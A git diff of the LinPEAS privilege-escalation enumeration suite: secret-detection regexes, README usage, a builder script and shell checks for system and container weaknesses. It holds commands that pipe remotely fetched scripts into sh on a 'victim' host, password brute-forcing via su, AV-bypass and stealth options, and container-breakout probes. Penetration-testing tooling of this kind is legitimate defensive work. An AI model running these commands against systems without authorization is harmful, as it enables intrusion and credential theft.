|
||||
|
||||
- name: Twitter Oauth
|
||||
regex: >
|
||||
[tT][wW][iI][tT][tT][eE][rR].{0,30}['"\\s][0-9a-zA-Z]{35,44}['"\\s]
|
||||
|
||||
- name: Twitter Secret Key
|
||||
regex: >
|
||||
[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['"][0-9a-z]{35,44}
|
||||
|
||||
#- name: Vault Token #False +
|
||||
# regex: '[sb]\.[a-zA-Z0-9]{24}'
|
||||
|
||||
|
||||
# Misc
|
||||
- name: Misc
|
||||
regexes:
|
||||
- name: Basic Auth
|
||||
regex: '//(.+):(.+)@'
|
||||
|
||||
- name: Passwords1
|
||||
regex: (pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)
|
||||
|
||||
#- name: Passwords2
|
||||
# regex: 'passwd|creden|pwd'
|
||||
|
||||
- name: Usernames
|
||||
regex: 'username.*[=:].+'
|
||||
|
||||
#- name: IPs
|
||||
# regex: '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)'
|
||||
|
||||
#- name: Emails # Too many false positives
|
||||
# regex: '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}'
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -2,9 +2,9 @@
|
||||
|
||||

|
||||
|
||||
**LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)**
|
||||
**LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/privilege-escalation)**
|
||||
|
||||
Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)**.
|
||||
Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist)**.
|
||||
|
||||
[](https://asciinema.org/a/309566)
|
||||
|
||||
@@ -13,16 +13,16 @@ Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks
|
||||
Just execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed**
|
||||
|
||||
## Quick Start
|
||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
|
||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/tag/refs%2Fheads%2Fmaster)**.
|
||||
|
||||
```bash
|
||||
# From github
|
||||
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
|
||||
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/linpeas.sh | sh
|
||||
```
|
||||
|
||||
```bash
|
||||
# Local network
|
||||
sudo python3 -m http.server 80 #Host
|
||||
sudo python -m SimpleHTTPServer 80 #Host
|
||||
curl 10.10.10.10/linpeas.sh | sh #Victim
|
||||
|
||||
# Without curl
|
||||
@@ -42,27 +42,11 @@ less -r /dev/shm/linpeas.txt #Read with colors
|
||||
|
||||
```bash
|
||||
# Use a linpeas binary
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/linpeas_linux_amd64
|
||||
chmod +x linpeas_linux_amd64
|
||||
./linpeas_linux_amd64
|
||||
```
|
||||
|
||||
## Firmware Analysis
|
||||
If you have a **firmware** and you want to **analyze it with linpeas** to **search for passwords or bad configured permissions** you have 2 main options.
|
||||
|
||||
- If you **can emulate** the firmware, just run linpeas inside of it:
|
||||
```bash
|
||||
cp /path/to/linpeas.sh /mnt/linpeas.sh
|
||||
chroot /mnt #Supposing you have mounted the firmware FS in /mnt
|
||||
bash /linpeas.sh -o software_information,interesting_files,api_keys_regex
|
||||
```
|
||||
|
||||
- If you **cannot emulate** the firmware, use the `-f </path/to/folder` param:
|
||||
```bash
|
||||
# Point to the folder containing the files you want to analyze
|
||||
bash /path/to/linpeas.sh -f /path/to/folder
|
||||
```
|
||||
|
||||
## AV bypass
|
||||
```bash
|
||||
#open-ssl encryption
|
||||
@@ -93,49 +77,35 @@ By default linpeas takes around **4 mins** to complete, but It could take from *
|
||||
- 1 min to monitor the processes in order to find very frequent cron jobs *(need `-a`)* - Notice that this check will need to **write** some info inside a file that will be deleted
|
||||
|
||||
**Interesting parameters:**
|
||||
- **-a** (all checks except regex) - This will **execute also the check of processes during 1 min, will search more possible hashes inside files, and brute-force each user using `su` with the top2000 passwords.**
|
||||
- **-a** (all checks) - This will **execute also the check of processes during 1 min, will search more possible hashes inside files, and brute-force each user using `su` with the top2000 passwords.**
|
||||
- **-e** (extra enumeration) - This will execute **enumeration checkes that are avoided by default**
|
||||
- **-r** (regex checks) - This will search for **hundreds of API keys of different platforms in the silesystem**
|
||||
- **-s** (superfast & stealth) - This will bypass some time consuming checks - **Stealth mode** (Nothing will be written to disk)
|
||||
- **-P** (Password) - Pass a password that will be used with `sudo -l` and bruteforcing other users
|
||||
- **-D** (Debug) - Print information about the checks that haven't discovered anything and about the time each check took
|
||||
- **-d/-p/-i/-t** (Local Network Enumeration) - Linpeas can also discover and port-scan local networks
|
||||
|
||||
**It's recommended to use the params `-a` and `-r` if you are looking for a complete and intensive scan**.
|
||||
This script has **several lists** included inside of it to be able to **color the results** in order to highlight PE vector.
|
||||
|
||||
```
|
||||
Enumerate and search Privilege Escalation vectors.
|
||||
This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors.
|
||||
Checks:
|
||||
-o Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list.
|
||||
-s Stealth & faster (don't check some time consuming checks)
|
||||
-h To show this message
|
||||
-q Do not show banner
|
||||
-e Perform extra enumeration
|
||||
-t Automatic network scan & Internet conectivity checks - This option writes to files
|
||||
-r Enable Regexes (this can take from some mins to hours)
|
||||
-P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
|
||||
-s SuperFast (don't check some time consuming checks) - Stealth mode
|
||||
-a All checks (1min of processes and su brute) - Noisy mode, for CTFs mainly
|
||||
-w Wait execution between big blocks of checks
|
||||
-N Do not use colours
|
||||
-D Debug mode
|
||||
|
||||
Network recon:
|
||||
-t Automatic network scan & Internet conectivity checks - This option writes to files
|
||||
-P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
|
||||
-o Only execute selected checks (system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files). Select a comma separated list.
|
||||
-L Force linpeas execution.
|
||||
-M Force macpeas execution.
|
||||
-d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24
|
||||
-p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139
|
||||
-i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
|
||||
-t Automatic network scan (host discovery and port scanning) - This option writes to files
|
||||
Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
|
||||
|
||||
Port forwarding:
|
||||
-F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT Execute linpeas to forward a port from a local IP to a remote IP
|
||||
|
||||
Firmware recon:
|
||||
-f </FOLDER/PATH> Execute linpeas to search passwords/file permissions misconfigs inside a folder
|
||||
|
||||
Misc:
|
||||
-h To show this message
|
||||
-w Wait execution between big blocks of checks
|
||||
-L Force linpeas execution
|
||||
-M Force macpeas execution
|
||||
-q Do not show banner
|
||||
-N Do not use colours
|
||||
|
||||
```
|
||||
|
||||
## Hosts Discovery and Port Scanning
|
||||
@@ -216,17 +186,25 @@ file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm
|
||||
|
||||
Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas
|
||||
|
||||
## Collaborate
|
||||
## TODO
|
||||
|
||||
If you want to help with the TODO tasks or with anything, you can do it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**.
|
||||
- Add more checks
|
||||
- Mantain updated the list of vulnerable SUID binaries
|
||||
- Mantain updated all the blacklists used to color the output
|
||||
|
||||
If you want to help with any of this, you can do it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**.
|
||||
|
||||
If you find any issue, please report it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)**.
|
||||
|
||||
|
||||
**Linpeas** is being **updated** every time I find something that could be useful to escalate privileges.
|
||||
|
||||
## Advisory
|
||||
|
||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||
|
||||
## License
|
||||
|
||||
MIT License
|
||||
|
||||
By Polop<sup>(TM)</sup>
|
||||
|
||||
@@ -1,8 +0,0 @@
|
||||
- Add more checks
|
||||
- Add more potential files with passwords to sensitive_files.yaml
|
||||
- Add more regex of interesting APIs to regexes.yaml
|
||||
- Mantain updated the list of vulnerable SUID binaries
|
||||
- Mantain updated all the blacklists used to color the output
|
||||
- Improve the speed
|
||||
- Reduce the size of the script
|
||||
- Generate automatically an obfuscated version
|
||||
File diff suppressed because one or more lines are too long
@@ -1,7 +1,7 @@
|
||||
from .src.peasLoaded import PEASLoaded
|
||||
from .src.linpeasBuilder import LinpeasBuilder
|
||||
from .src.linpeasBaseBuilder import LinpeasBaseBuilder
|
||||
from .src.yamlGlobals import FINAL_FAT_LINPEAS_PATH, FINAL_LINPEAS_PATH, TEMPORARY_LINPEAS_BASE_PATH
|
||||
from .src.yamlGlobals import FINAL_LINPEAS_PATH
|
||||
|
||||
import os
|
||||
import stat
|
||||
@@ -18,13 +18,7 @@ def main():
|
||||
# Build final linpeas.sh
|
||||
lbuilder = LinpeasBuilder(ploaded)
|
||||
lbuilder.build()
|
||||
lbuilder.write_linpeas(FINAL_FAT_LINPEAS_PATH)
|
||||
lbuilder.write_linpeas(FINAL_LINPEAS_PATH, rm_startswith="FAT_LINPEAS")
|
||||
os.remove(TEMPORARY_LINPEAS_BASE_PATH) #Remove the built linpeas_base.sh file
|
||||
|
||||
st = os.stat(FINAL_FAT_LINPEAS_PATH)
|
||||
os.chmod(FINAL_FAT_LINPEAS_PATH, st.st_mode | stat.S_IEXEC)
|
||||
|
||||
lbuilder.write_linpeas(FINAL_LINPEAS_PATH)
|
||||
st = os.stat(FINAL_LINPEAS_PATH)
|
||||
os.chmod(FINAL_LINPEAS_PATH, st.st_mode | stat.S_IEXEC)
|
||||
|
||||
|
||||
@@ -1,49 +0,0 @@
|
||||
|
||||
search_for_regex(){
|
||||
title=$1
|
||||
regex=$2
|
||||
caseSensitive=$3
|
||||
|
||||
if [ "$caseSensitive" ]; then
|
||||
i="i"
|
||||
else
|
||||
i=""
|
||||
fi
|
||||
|
||||
print_3title_no_nl "Searching $title..."
|
||||
|
||||
if [ "$SEARCH_IN_FOLDER" ]; then
|
||||
timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
else
|
||||
# Search in home direcoties (usually the slowest)
|
||||
timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in etc
|
||||
timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in opt
|
||||
timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in possible web folders (usually only 1 will exist)
|
||||
timeout 120 find /var/www /usr/local/www /usr/share/nginx /Library/WebServer/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in logs
|
||||
timeout 120 find /var/log /var/logs /Library/Logs -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in backups
|
||||
timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
|
||||
# Search in others folders (usually only /srv or /Applications will exist)
|
||||
timeout 120 find /tmp /srv /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
|
||||
fi
|
||||
wait
|
||||
printf "\033[2K\r"
|
||||
}
|
||||
|
||||
|
||||
|
||||
if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then
|
||||
peass{REGEXES}
|
||||
else
|
||||
echo "Regexes to search for API keys aren't activated, use param '-r' "
|
||||
fi
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
#-- SY) OS
|
||||
print_2title "Operative system"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits"
|
||||
(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED},"
|
||||
warn_exec lsb_release -a 2>/dev/null
|
||||
if [ "$MACPEAS" ]; then
|
||||
@@ -15,7 +15,7 @@ echo ""
|
||||
#-- SY) Sudo
|
||||
print_2title "Sudo version"
|
||||
if [ "$(command -v sudo 2>/dev/null)" ]; then
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version"
|
||||
sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED},"
|
||||
else echo_not_found "sudo"
|
||||
fi
|
||||
@@ -24,7 +24,7 @@ echo ""
|
||||
#--SY) USBCreator
|
||||
if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
|
||||
print_2title "USBCreator"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation"
|
||||
|
||||
pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+")
|
||||
if [ -z "$pc_version" ]; then
|
||||
@@ -42,16 +42,10 @@ fi
|
||||
echo ""
|
||||
|
||||
#-- SY) PATH
|
||||
|
||||
print_2title "PATH"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses"
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
|
||||
if [ "$DEBUG" ]; then
|
||||
echo "New path exported: $PATH"
|
||||
fi
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-path-abuses"
|
||||
echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
|
||||
echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g"
|
||||
echo ""
|
||||
|
||||
#-- SY) Date
|
||||
@@ -84,7 +78,7 @@ fi
|
||||
if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Unmounted file-system?"
|
||||
print_info "Check if you can mount umounted devices"
|
||||
grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g"
|
||||
grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED}," | sed -${E} "s,$mounted,${SED_BLUE}," | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
@@ -99,3 +93,128 @@ if [ "$(command -v smbutil)" ] || [ "$DEBUG" ]; then
|
||||
warn_exec smbutil statshares -a
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) Environment vars
|
||||
print_2title "Environment"
|
||||
print_info "Any private information inside environment variables?"
|
||||
(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBELET" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set"
|
||||
echo ""
|
||||
|
||||
#-- SY) Dmesg
|
||||
if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching Signature verification failed in dmesg"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#dmesg-signature-verification-failed"
|
||||
(dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) Kernel extensions
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Kernel Extensions not belonging to apple"
|
||||
kextstat 2>/dev/null | grep -Ev " com.apple."
|
||||
|
||||
print_2title "Unsigned Kernel Extensions"
|
||||
macosNotSigned /Library/Extensions
|
||||
macosNotSigned /System/Library/Extensions
|
||||
fi
|
||||
|
||||
if [ "$(command -v bash 2>/dev/null)" ]; then
|
||||
print_2title "Executing Linux Exploit Suggester"
|
||||
print_info "https://github.com/mzet-/linux-exploit-suggester"
|
||||
les_b64="peass{LES}"
|
||||
echo $les_b64 | base64 -d | bash
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
echo $les_b64 | base64 -d | bash -s -- --checksec
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$(command -v perl 2>/dev/null)" ]; then
|
||||
print_2title "Executing Linux Exploit Suggester 2"
|
||||
print_info "https://github.com/jondonas/linux-exploit-suggester-2"
|
||||
les2_b64="peass{LES2}"
|
||||
echo $les2_b64 | base64 -d | perl
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$MACPEAS" ] && [ "$(command -v brew 2>/dev/null)" ]; then
|
||||
print_2title "Brew Doctor Suggestions"
|
||||
brew doctor
|
||||
echo ""
|
||||
fi
|
||||
|
||||
|
||||
|
||||
#-- SY) AppArmor
|
||||
print_2title "Protections"
|
||||
print_list "AppArmor enabled? .............. "$NC
|
||||
if [ "$(command -v aa-status 2>/dev/null)" ]; then
|
||||
aa-status 2>&1 | sed "s,disabled,${SED_RED},"
|
||||
elif [ "$(command -v apparmor_status 2>/dev/null)" ]; then
|
||||
apparmor_status 2>&1 | sed "s,disabled,${SED_RED},"
|
||||
elif [ "$(ls -d /etc/apparmor* 2>/dev/null)" ]; then
|
||||
ls -d /etc/apparmor*
|
||||
else
|
||||
echo_not_found "AppArmor"
|
||||
fi
|
||||
|
||||
#-- SY) grsecurity
|
||||
print_list "grsecurity present? ............ "$NC
|
||||
( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity")
|
||||
|
||||
#-- SY) PaX
|
||||
print_list "PaX bins present? .............. "$NC
|
||||
(command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX")
|
||||
|
||||
#-- SY) Execshield
|
||||
print_list "Execshield enabled? ............ "$NC
|
||||
(grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED},"
|
||||
|
||||
#-- SY) SElinux
|
||||
print_list "SELinux enabled? ............... "$NC
|
||||
(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
|
||||
|
||||
#-- SY) Gatekeeper
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_list "Gatekeeper enabled? .......... "$NC
|
||||
(spctl --status 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
|
||||
|
||||
print_list "sleepimage encrypted? ........ "$NC
|
||||
(sysctl vm.swapusage | grep "encrypted" | sed "s,encrypted,${SED_GREEN},") || echo_no
|
||||
|
||||
print_list "XProtect? .................... "$NC
|
||||
(system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 | grep -Iv "^$") || echo_no
|
||||
|
||||
print_list "SIP enabled? ................. "$NC
|
||||
csrutil status | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no
|
||||
|
||||
print_list "Connected to JAMF? ........... "$NC
|
||||
warn_exec jamf checkJSSConnection
|
||||
|
||||
print_list "Connected to AD? ............. "$NC
|
||||
dsconfigad -show && echo "" || echo_no
|
||||
fi
|
||||
|
||||
#-- SY) ASLR
|
||||
print_list "Is ASLR enabled? ............... "$NC
|
||||
ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
|
||||
if [ -z "$ASLR" ]; then
|
||||
echo_not_found "/proc/sys/kernel/randomize_va_space";
|
||||
else
|
||||
if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) Printer
|
||||
print_list "Printer? ....................... "$NC
|
||||
(lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null
|
||||
|
||||
#-- SY) Running in a virtual environment
|
||||
print_list "Is this a virtual machine? ..... "$NC
|
||||
hypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor)
|
||||
if [ "$(command -v systemd-detect-virt 2>/dev/null)" ]; then
|
||||
detectedvirt=$(systemd-detect-virt)
|
||||
if [ "$hypervisorflag" ]; then printf $RED"Yes ($detectedvirt)"$NC; else printf $GREEN"No"$NC; fi
|
||||
else
|
||||
if [ "$hypervisorflag" ]; then printf $RED"Yes"$NC; else printf $GREEN"No"$NC; fi
|
||||
fi
|
||||
|
||||
@@ -26,14 +26,6 @@ containerCheck() {
|
||||
fi
|
||||
fi
|
||||
|
||||
# Inside concourse?
|
||||
if grep "/concourse" /proc/1/mounts -qa 2>/dev/null; then
|
||||
inContainer="1"
|
||||
if [ "$containerType" ]; then
|
||||
containerType="$containerType (concourse)\n"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Are we inside LXC?
|
||||
if env | grep "container=lxc" -qa 2>/dev/null ||
|
||||
grep "/lxc/" /proc/1/cgroup -qa 2>/dev/null; then
|
||||
@@ -77,10 +69,8 @@ enumerateDockerSockets() {
|
||||
dockerVersion="$(echo_not_found)"
|
||||
if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then
|
||||
SEARCHED_DOCKER_SOCKETS="1"
|
||||
for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then
|
||||
if echo "$int_sock" | grep -Eq "docker"; then
|
||||
dock_sock="$int_sock"
|
||||
for dock_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" 2>/dev/null); do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$dock_sock" ]; then
|
||||
echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g"
|
||||
echo "Docker enummeration:"
|
||||
docker_enumerated=""
|
||||
@@ -99,11 +89,7 @@ enumerateDockerSockets() {
|
||||
fi
|
||||
|
||||
else
|
||||
echo "You have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED},g"
|
||||
fi
|
||||
|
||||
else
|
||||
echo "You don't have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_GREEN},g"
|
||||
echo "You don't have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_GREEN},g"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
@@ -137,88 +123,13 @@ checkContainerExploits() {
|
||||
fi
|
||||
}
|
||||
|
||||
checkCreateReleaseAgent(){
|
||||
cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r subsys
|
||||
do
|
||||
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then
|
||||
release_agent_breakout2="Yes (unshare with $subsys)";
|
||||
rm -rf /tmp/cgroup_3628d4
|
||||
break
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
checkProcSysBreakouts(){
|
||||
dev_mounted="No"
|
||||
if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then
|
||||
dev_mounted="Yes";
|
||||
fi
|
||||
|
||||
proc_mounted="No"
|
||||
if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then
|
||||
proc_mounted="Yes";
|
||||
fi
|
||||
|
||||
run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null)
|
||||
if ! [ "$run_unshare" = "Yes" ]; then
|
||||
run_unshare="No"
|
||||
fi
|
||||
|
||||
